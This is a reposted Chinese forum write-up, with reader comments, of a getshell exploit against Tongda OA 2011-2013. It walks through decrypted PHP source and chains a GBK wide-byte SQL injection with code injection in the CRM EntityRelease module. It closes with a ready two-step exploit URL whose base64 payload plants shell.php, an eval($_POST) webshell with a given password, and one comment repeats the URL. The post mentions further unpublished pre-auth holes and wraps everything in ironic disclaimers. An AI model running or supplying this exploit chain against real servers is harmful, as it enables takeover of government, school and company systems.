声明:

此程序应用于非常多的政府机构, 教育机构, 以及各大一流公司(中国电信等)!

请各位看完本文后不要试图对任何使用本程序的网站进行破坏攻击入侵等...

本人发此贴纯属技术交流探讨, 并无怂恿别人去尝试攻击的意思!

若不接受以上条件的请自觉关闭, 由此产生的后果与作者(本人)无关!

听说土司要送书了, 还是凑凑分子吧, 当然书我是不会要的, 留给需要的人吧~

因为要帮某同学找回面子, 所以读了下此程序, 因为这个程序是一个安装包, 安装后集成了mysql和apache, 并且代码是zend加密的, 所以要先解密才能读, 废话不多说, 进入正题吧~

正文:

此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了.

// inc/conn.php[/color]
function exequery( $C, $Q, $LOG = FALSE ){
  if ( !$LOG ){
      $POS = stripos( $Q, "union" ); //检测union
      if ( $POS !== FALSE && stripos( $Q, "select", $POS ) !== FALSE ){ //union存在再检测select
        exit( );
      }
      $POS = stripos( $Q, "into" ); //检测into outfile
      if ( $POS !== FALSE && ( stripos( $Q, "outfile", $POS ) !== FALSE || stripos( $Q, "dumpfile", $POS ) !== FALSE ) ){
        exit( );
      }
  }
  if ( gettype( $C ) != "resource" ){
      printerror( _( "无效的数据库连接" )."<b>"._( "SQL语句:" )."</b> ".$Q, $LOG );
      return FALSE;
  }
  $cursor = @mysql_query( $Q, $C );
  if ( !$cursor ){
      printerror( "<b>"._( "SQL语句:" )."</b> ".$Q, $LOG );
  }
  return $cursor;
}

注入放弃的话那就必须得找点杀伤力大的东西了, 首先想到的就是getshell, 经过一翻观察, 此程序的getshell还是非常多的, 并且此程序基本上没用到类, 简而言之就是一个功能一个文件 = =

够蛋疼了吧, 怪不得文件多的一逼...

继续观察, 就发现了这么一个函数 笑嘻嘻..

//general\crm\studio\modules\EntityRelease\CreateIndexFile.php
function createIndex( $ENTITY_NAME, $APP_PATH ){
  global $ROOT_PATH;
  $filePath = $ROOT_PATH."general/".$APP_PATH;
  if ( !file_exists( $filePath ) ){
      mkdir( $filePath, 448 );
  }
  $fileName = $filePath."/index.php";
  $file = fopen( $fileName, "w" );
  $fileContent = createindexcontent( $ENTITY_NAME );//关键
  fwrite( $file, $fileContent );
  fclose( $file );
  createopjs( $filePath );
}

并且general\crm\studio\modules\EntityRelease\目录下还有以下文件全都有这种类似的函数:

CreateDeleteFile.php, CreateDetailFile.php, CreateEditFile.php, CreateFastUpdateFile.php, CreateUpdateFile.php

这些其实都是可以getshell的, 这里就主要讲CreateIndexFile.php文件的getshell

我们继续看createindexcontent函数, 因为文件的内容是由这个函数返回的:

// general\crm\studio\modules\EntityRelease\CreateIndexFile.php[/color]
function createIndexContent( $ENTITY_NAME ){
  $fileStr .= createindexphpheader( $ENTITY_NAME );
  $fileStr .= createindexhtml( );
  return $fileStr;
}

继续看createindexphpheader函数, 看到到底是怎么处理值的:

// general\crm\studio\modules\EntityRelease\CreateIndexFile.php
function createIndexPHPHeader( $ENTITY_NAME ){[/color]
$fileStr .= "<?php\r\n\tinclude_once(\"general/crm/apps/crm/header.php\");\r\n\tinclude_once(\$g_CRM_PATH.\"/include/interface/list.interface.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/utility.ui.php\");\r\n\tinclude_once(\$g_PLATFORM_PATH.\"/base/auth.func.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/entity.class.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/entityAction.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/conditional.php\");\r\n\tinclude_once(\"inc/utility_org.php\");\r\n\tinclude_once(\"inc/utility_file.php\");\r\n\tinclude_once(\$g_CRM_PATH.\"/include/general.func.php\");\r\n\t[/color][color=#ff0000][b]\$ENTITY = \"".$ENTITY_NAME."\";[/b][/color][color=#0000ff]\r\n\tif(\$USER_VIEW == \"\"){\r\n\t\t\$USER_VIEW = getDefaultUView(\$ENTITY, \$LOGIN_USER_ID); //创建默认视图未处理\r\n\t}\r\n\t\$ModuleInfoArr = getModuleInfo(\$ENTITY);\r\n\t\$FieldDetialInfoARR = FieldDetialInfo(\$USER_VIEW);\r\n\t\$WHERE_CLAUSE = getWhereSQL(\$_SERVER['QUERY_STRING']);\r\n\t\$MODULE_ACTION = getModuleActionStr(\$ENTITY, \$USER_VIEW);\r\n\t\$MODULE_NORMAL_STR = getModuleNormalSearchStr(\$ENTITY);\r\n\t\$views = getUserViewList(\$ENTITY, \$LOGIN_USER_ID, \$LOGIN_DEPT_ID, \$LOGIN_USER_PRIV);\r\n\t\$VIEW_OPTION_TMPL = getViewSelOptionTmpl(\$views, \$USER_VIEW);\r\n\t\$PAGE_SIZE = \$_GET[\"PAGE_SIZE\"] == \"\" ? 10 : \$_GET[\"PAGE_SIZE\"];\r\n\t\$query = getViewQueryCountSQL(\$USER_VIEW, \$ENTITY, \$WHERE_CLAUSE, \$EXTENSION_AUTHORITY_CLAUSE);\r\n\t\$cursor = exequery(\$connection, \$query);\r\n\tif(\$result = mysql_fetch_array(\$cursor)){\r\n\t\t\$TOTAL_SIZE = \$result[0];\r\n\t}\r\n\t\$TOTAL_PAGE = ceil(\$TOTAL_SIZE/\$PAGE_SIZE);\r\n\tif(\$CUR_PAGE < 1){ \$CUR_PAGE = 1; }\r\n\tif(\$CUR_PAGE > \$TOTAL_PAGE){ \$CUR_PAGE = \$TOTAL_PAGE; }\r\n\t\$query = getViewQuerySQL(\$USER_VIEW, \$ENTITY, \$PAGE_SIZE, \$CUR_PAGE, \$ORDERFIELD, \$ORDERTYPE, \r\n\t\$WHERE_CLAUSE, \$CONFIGARR, \$EXTENSION_AUTHORITY_CLAUSE);\r\n\t\$cursor = exequery(\$connection, \$query);\r\n\r\n\t\$LIST_VIEW_DATA_HEAD_TMPL = getListViewHeaderTmpl(\$FieldDetialInfoARR, \$ORDERFIELD, \$ORDERTYPE, \$CONFIGARR);\r\n\t\$colorSchema = getColorSchema(\$USER_VIEW);\r\n\t\$LIST_VIEW_DATA_BODY_TMPL = getListViewDataBodyTmpl(\$cursor, \$FieldDetialInfoARR, \$colorSchema, \$PAGE_SIZE);\r\n\t\$QuickLinkStr = getModuleQuickLinkStr();\r\n\t\$RevisionHistoryStr = getModuleRevisionHistoryStr(\$ENTITY, \$EXTENSION_AUTHORITY_CLAUSE);\r\n\t\$FastNewStr = getModuleFastNewStr(\$ENTITY);\r\n?>\r\n";[/color]
return $fileStr;

忽略其他垃圾字符, 老夫的钛合金狗眼立马就看到了\$ENTITY = \"".$ENTITY_NAME."\";, 好了, 既然文件里面有这一串赋值, 并且是在双引号里面, 那神马都好办了~~

搜索发现同为general\crm\studio\modules\EntityRelease\目录的release.php文件调用了createIndex函数

// general\crm\studio\modules\EntityRelease\release.php[/color]
include_once( "general/crm/studio/header.php" );
include_once( "file.func.php" );
include_once( $g_STUDIO_PATH."/include/entity.class.php" );
if ( $entity_name != "" ){
  $APP_PATH = getapppath( $entity_name );//取得路径
  if ( $APP_PATH == "" ){
  message( "", _( "未找到发布路径!" ) );
  echo "<center><input type=\"button\" class=\"BigButton\" value="._( "返回" )." onclick=\"window.location.href='./index.php'\"></center>";
  exit( );
  }
  include_once( "CreateIndexFile.php" );
  createindex( $entity_name, $APP_PATH ); // GETSHELL
  include_once( "CreateEditFile.php" );
  createeditfile( $entity_name, $APP_PATH );
  include_once( "CreateUpdateFile.php" );
  createupdatefile( $entity_name, $APP_PATH );
  include_once( "CreateDetailFile.php" );
  createdetailfile( $entity_name, $APP_PATH );
  include_once( "CreateFastUpdateFile.php" );
  createfastupdatefile( $entity_name, $APP_PATH );
  include_once( "CreateDeleteFile.php" );
  createdeletefile( $entity_name, $APP_PATH );
}

可以看到这里要先用getapppath函数获取文件路径, 如果获取失败也就不能getshell了, 那就来看看getapppath函数长什么样子吧 -.-

// general\crm\studio\modules\EntityRelease\file.func.php[/color]
function getAppPath( $entity_name ){
  global $connection;
  $query = "select sys_function.FUNC_CODE as FUNC_CODE from sys_function,crm_sys_entity where sys_function.FUNC_ID = crm_sys_entity.menu_id and crm_sys_entity.entity_name = '".$entity_name."'";
  $cursor = exequery( $connection, $query );
  if ( $row = mysql_fetch_array( $cursor ) ){
      $APP_PATH = $row['FUNC_CODE'];
  }
  return $APP_PATH;
}

看来这里的路径是通过sys_function表的FUNC_CODE字段获取, sys_function表是这样的

通达OA 2011-2013 通杀GETSHELL

那么我们现在要把代码写进email目录, 那自然就要把sql语句构造成这样才醒

select sys_function.FUNC_CODE as FUNC_CODE from sys_function,crm_sys_entity where sys_function.FUNC_ID = crm_sys_entity.menu_id and crm_sys_entity.entity_name = '1' or sys_function.FUNC_ID=1

可能有童鞋会说你丫说个蛋吧, 有引号包围, 你还构造个JB -.-

亲们俺前面就说此程序通篇gbk, so... 相信大家都懂了~~~

但是这里问题来了$entity_name作为SQL语句里面的值, 同时也是写入文件的时候我们要写入的代码, 所以这里必须要同时满足SQL执行成功并且加入我们的php代码, 那么$entity_name我们就得这样来构造了~

entity_name=1%d5' or sys_function.FUNC_ID=1# ${ fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}

这样整个SQL语句实际上就变成了

select sys_function.FUNC_CODE as FUNC_CODE from sys_function,crm_sys_entity where sys_function.FUNC_ID = crm_sys_entity.menu_id and crm_sys_entity.entity_name = '1誠' or sys_function.FUNC_ID=1# ${ fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}

so...这样就同时满足了我们的两个需求了~ 执行下看看效果吧,

通达OA 2011-2013 通杀GETSHELL

运行后email目录的index.php文件变成了这样了~

通达OA 2011-2013 通杀GETSHELL

相信大家都懂了, 再访问下email\index.php文件, shell.php就在目录下生成了~~

通达OA 2011-2013 通杀GETSHELL

通达OA 2011-2013 通杀GETSHELL

丢个EXP吧, 请本机测试, 不要攻击其他网站, 再次声明!

第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}

第二步: [GET]http://site/general/email/index.php

SHELL: http://site/general/email/shell.php 密码C

此程序写的非常乱, 不知道是因为解密后的原因还是程序员本身就这样写的, 还有几处不需要登录的通杀getshell,  这里就不发了, 危害大了不好

有心的同学可以自己读读, 很容易就发现的 o(∩_∩)o ~~

免跨省声明:

1. 以上所有言语非本人所写 也非本人所想 如果用于非法更与本人无关!

2. 以上所有工具非本人所写 也非本人所想 如果用于非法更与本人无关!

3. 本人由于被不明外星物种控制所以被迫"发表以上内容"  其内容并非本人本意!!

转自:https://www.t00ls.net/viewthread.php?tid=21859

留言评论(旧系统):

佚名 @ 2013-02-01 16:05:33

Http://127.0.0.1/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))} 这个打不开啊。。。 404唉····

本站回复:

??

佚名 @ 2013-02-01 22:55:43

不需要登录的通杀getshell 这个怎么玩。。。

本站回复:

该怎么玩,就怎么玩。

佚名 @ 2013-02-03 16:05:41

不需要登录的通杀getshell 还真看不出来..

本站回复:

那就继续看。

佚名 @ 2013-02-03 19:19:09

核总,文章作者说了“此程序通篇gbk, so... 相信大家都懂了~~~”,这个为什么说gbk就可以这么利用呢,望核总解释一下,谢谢

本站回复:

http://lcx.cc/?i=2120 http://lcx.cc/?i=2121 http://www.baidu.com/s?wd=gbk+%E5%AE%BD%E5%AD%97%E8%8A%82+%E6%B3%A8%E5%85%A5

佚名 @ 2013-02-04 17:22:13

谢谢核总,我就是楼下询问gbk 宽字节注入的,仔细看了核总发的链接,总算搞清楚怎么回事了,特来感谢

本站回复:

good.

佚名 @ 2013-03-07 19:31:51

唉..好厉害的0day...PO主能不能给出一个解决方案呢

本站回复:

没有。

佚名 @ 2013-06-03 11:53:22

类似的文章网上很多了,不知道作者写这样的文章用意何为,在OA大部的快中首先要过的就是auth,文中大部提到的CRM模块,也不例外,而文没有提过一句,请使用者不要被类似的文章迷惑,我相信通达OA产品,肯定存在漏洞的,就连目前最强美国安全局系统,不是也被攻陷,通达也会定期需求漏洞,请亲们放心使用通达的产品。

本站回复:

亲莫非是通达负面公关?……

佚名 @ 2013-06-03 11:57:51

类似的文章网上很多了,不知道作者写这样的文章用意何为,在OA大部的功能模块首先要过的就是auth,文中大部提到的CRM模块,也不例外,而文没有提过一句,请使用者不要被类似的文章迷惑,我相信通达OA产品,肯定存在漏洞的,就连目前最强美国安全局系统,不是也被攻陷,通达也会定期需求漏洞,请亲们放心使用通达的产品。

本站回复:

亲莫非是通达负面公关?……